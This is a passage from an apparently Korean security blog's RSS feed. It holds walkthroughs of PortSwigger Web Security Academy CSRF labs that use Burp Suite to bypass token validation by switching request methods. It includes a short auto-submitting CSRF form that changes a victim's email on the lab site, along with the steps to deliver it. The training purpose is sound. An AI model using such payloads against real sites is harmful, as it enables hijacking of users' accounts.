&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;208&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJjfn0/dJMcadG7UEq/BV2romKPn6fTzVFtuxKkh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJjfn0/dJMcadG7UEq/BV2romKPn6fTzVFtuxKkh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJjfn0/dJMcadG7UEq/BV2romKPn6fTzVFtuxKkh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJjfn0%2FdJMcadG7UEq%2FBV2romKPn6fTzVFtuxKkh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;932&quot; height=&quot;208&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;208&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>2025-SWLUG/악성코드 스터디</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/214</guid>
      <comments>https://tigerdemon.tistory.com/214#entry214comment</comments>
      <pubDate>Tue, 18 Nov 2025 21:01:51 +0900</pubDate>
    </item>
    <item>
      <title>burp suite로 CSRF 실습 2</title>
      <link>https://tigerdemon.tistory.com/213</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1763395474774&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&quot; data-og-description=&quot;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&quot; data-og-host=&quot;portswigger.net&quot; data-og-source-url=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present&quot; data-og-url=&quot;https://portswigger.net&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;portswigger.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1gm73/dJMcagjAwHh/bGz9xk4h8fKzoAzB9rxgUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1gm73/dJMcagjAwHh/bGz9xk4h8fKzoAzB9rxgUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1gm73/dJMcagjAwHh/bGz9xk4h8fKzoAzB9rxgUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1gm73%2FdJMcagjAwHh%2FbGz9xk4h8fKzoAzB9rxgUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;680&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ACCESS THE LAB으로 들어가서 주어진 정보로 로그인을 하고 이메일을 바꾸면 아래 사진처럼 뜬다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DodJd/dJMcab3Esa3/SMw4Sv9dgfC1R5RzeoXklk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DodJd/dJMcab3Esa3/SMw4Sv9dgfC1R5RzeoXklk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DodJd/dJMcab3Esa3/SMw4Sv9dgfC1R5RzeoXklk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDodJd%2FdJMcab3Esa3%2FSMw4Sv9dgfC1R5RzeoXklk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;447&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습 1에서 했던 코드로 진행해보니 Method 에러가 떴었다. 또 GET으로 변경해서 이메일을 수정했을때도 Method 에러가 뜨는 것을 보니 Method를 POST로 하고 진행해야할 것 같다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1443&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WpBFd/dJMcacO1uLX/RwBs5IZWMZxsHukugjsl8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WpBFd/dJMcacO1uLX/RwBs5IZWMZxsHukugjsl8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WpBFd/dJMcacO1uLX/RwBs5IZWMZxsHukugjsl8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWpBFd%2FdJMcacO1uLX%2FRwBs5IZWMZxsHukugjsl8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1443&quot; height=&quot;410&quot; data-origin-width=&quot;1443&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 코드를 아래처럼 수정하고 진행하니 문제가 풀렸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBieMc/dJMcachbDD7/XlxEWtoBL69l6SNjzrdWf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBieMc/dJMcachbDD7/XlxEWtoBL69l6SNjzrdWf1/img.png&quot; data-origin-width=&quot;1401&quot; data-origin-height=&quot;413&quot; data-is-animation=&quot;false&quot; style=&quot;width: 60.4885%; margin-right: 10px;&quot; data-widthpercent=&quot;61.2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBieMc/dJMcachbDD7/XlxEWtoBL69l6SNjzrdWf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBieMc%2FdJMcachbDD7%2FXlxEWtoBL69l6SNjzrdWf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1401&quot; height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcyDxQ/dJMcahJzdXE/yflUkKAC9XPpbnvh11i29K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcyDxQ/dJMcahJzdXE/yflUkKAC9XPpbnvh11i29K/img.png&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;478&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;38.8&quot; style=&quot;width: 38.3487%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcyDxQ/dJMcahJzdXE/yflUkKAC9XPpbnvh11i29K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcyDxQ%2FdJMcahJzdXE%2FyflUkKAC9XPpbnvh11i29K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1028&quot; height=&quot;478&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드가 배경 코드다. action에 본인 change-email url을 복사해서 넣고 value엔 바꿀 이메일을 넣어준다.&lt;/p&gt;
&lt;pre id=&quot;code_1763398217008&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form method=&quot;POST&quot; action=&quot;https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;$param1value&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt;
    document.forms[0].submit();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 Store을 누리고 View exploit을 눌러 확인해주고 Deliver exploit to victim을 눌러서 공격 결과를 확인해준다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;90&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qx7wi/dJMcaf53nis/lXK64DftGFfGvFTBW9UET0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qx7wi/dJMcaf53nis/lXK64DftGFfGvFTBW9UET0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qx7wi/dJMcaf53nis/lXK64DftGFfGvFTBW9UET0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQx7wi%2FdJMcaf53nis%2FlXK64DftGFfGvFTBW9UET0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;853&quot; height=&quot;90&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;90&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r74PA/dJMcaaDFKwM/TS6rYvFF8cuDFxm0xOxDlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r74PA/dJMcaaDFKwM/TS6rYvFF8cuDFxm0xOxDlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r74PA/dJMcaaDFKwM/TS6rYvFF8cuDFxm0xOxDlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr74PA%2FdJMcaaDFKwM%2FTS6rYvFF8cuDFxm0xOxDlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;296&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>2025-SWLUG/웹해킹</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/213</guid>
      <comments>https://tigerdemon.tistory.com/213#entry213comment</comments>
      <pubDate>Tue, 18 Nov 2025 01:52:40 +0900</pubDate>
    </item>
    <item>
      <title>burp suite로 CSRF 실습 1</title>
      <link>https://tigerdemon.tistory.com/211</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1763392551576&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&quot; data-og-description=&quot;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&quot; data-og-host=&quot;portswigger.net&quot; data-og-source-url=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method&quot; data-og-url=&quot;https://portswigger.net&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Web Application Security, Testing, &amp;amp; Scanning - PortSwigger&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;PortSwigger offers tools for web application security, testing, &amp;amp; scanning. Choose from a range of security tools, &amp;amp; identify the very latest vulnerabilities.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;portswigger.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;886&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4xPGW/dJMcabvOyeG/fSLoYNSCbUd6V1gyoDn6Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4xPGW/dJMcabvOyeG/fSLoYNSCbUd6V1gyoDn6Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4xPGW/dJMcabvOyeG/fSLoYNSCbUd6V1gyoDn6Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4xPGW%2FdJMcabvOyeG%2FfSLoYNSCbUd6V1gyoDn6Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1919&quot; height=&quot;886&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;886&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진처럼 뜬다. ACCESS THE LAB을 들어가면 아래 사진처럼 뜬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cs0jeK/dJMcafEYXsZ/GlpGFICd8dnRG0S6Qg1lZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cs0jeK/dJMcafEYXsZ/GlpGFICd8dnRG0S6Qg1lZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cs0jeK/dJMcafEYXsZ/GlpGFICd8dnRG0S6Qg1lZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcs0jeK%2FdJMcafEYXsZ%2FGlpGFICd8dnRG0S6Qg1lZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1919&quot; height=&quot;896&quot; data-origin-width=&quot;1919&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 제공된 정보로 로그인을 해보면 두번째 사진처럼 뜬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NmBEH/dJMcaawUfDu/lZyKkWqYUWA5XJ0PMZsF51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NmBEH/dJMcaawUfDu/lZyKkWqYUWA5XJ0PMZsF51/img.png&quot; style=&quot;width: 46.842%; margin-right: 10px;&quot; data-origin-width=&quot;1013&quot; data-origin-height=&quot;500&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;47.39&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NmBEH/dJMcaawUfDu/lZyKkWqYUWA5XJ0PMZsF51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNmBEH%2FdJMcaawUfDu%2FlZyKkWqYUWA5XJ0PMZsF51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1013&quot; height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxnpht/dJMcafEYXtt/hcPEApfUD8QY3DKJmzq7jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxnpht/dJMcafEYXtt/hcPEApfUD8QY3DKJmzq7jk/img.png&quot; style=&quot;width: 51.9952%;&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;450&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;52.61&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxnpht/dJMcafEYXtt/hcPEApfUD8QY3DKJmzq7jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcxnpht%2FdJMcafEYXtt%2FhcPEApfUD8QY3DKJmzq7jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1012&quot; height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이메일을 바꿔준다. 그리고 버퍼 스위트에서 change-email로 가서 repeater로 넘어간다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvpCT9/dJMcaaDFIYh/Z4MF3Vam0OKkKwy47BhoA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvpCT9/dJMcaaDFIYh/Z4MF3Vam0OKkKwy47BhoA0/img.png&quot; style=&quot;width: 60.6873%; margin-right: 10px;&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;454&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;61.4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvpCT9/dJMcaaDFIYh/Z4MF3Vam0OKkKwy47BhoA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvpCT9%2FdJMcaaDFIYh%2FZ4MF3Vam0OKkKwy47BhoA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;983&quot; height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sm8kz/dJMcabCzZOj/ThpiICACaUckh75UB8CrPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sm8kz/dJMcabCzZOj/ThpiICACaUckh75UB8CrPK/img.png&quot; style=&quot;width: 38.1499%;&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;576&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;38.6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sm8kz/dJMcabCzZOj/ThpiICACaUckh75UB8CrPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsm8kz%2FdJMcabCzZOj%2FThpiICACaUckh75UB8CrPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 우클릭으로 'change request method'를 눌러서 POST를 GET으로 바꿔주고 이메일을 또 바꿔준다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;922&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu1y44/dJMcafydmMi/po1UlO4HElqNlcA6y3Fc81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu1y44/dJMcafydmMi/po1UlO4HElqNlcA6y3Fc81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu1y44/dJMcafydmMi/po1UlO4HElqNlcA6y3Fc81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu1y44%2FdJMcafydmMi%2Fpo1UlO4HElqNlcA6y3Fc81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;816&quot; height=&quot;922&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;922&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 strawberry에서 strawberry77로 바꿨다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cg8tAz/dJMcaaKrj0S/UH365uiolX8AqVhqAEz86k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cg8tAz/dJMcaaKrj0S/UH365uiolX8AqVhqAEz86k/img.png&quot; data-origin-width=&quot;490&quot; data-origin-height=&quot;203&quot; data-is-animation=&quot;false&quot; style=&quot;width: 55.5551%; margin-right: 10px;&quot; data-widthpercent=&quot;56.21&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cg8tAz/dJMcaaKrj0S/UH365uiolX8AqVhqAEz86k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcg8tAz%2FdJMcaaKrj0S%2FUH365uiolX8AqVhqAEz86k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmLgCT/dJMb995PTNn/7Wo91uULvnXF6NiFKBF2zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmLgCT/dJMb995PTNn/7Wo91uULvnXF6NiFKBF2zk/img.png&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;293&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.2821%;&quot; data-widthpercent=&quot;43.79&quot;&gt;&lt;img 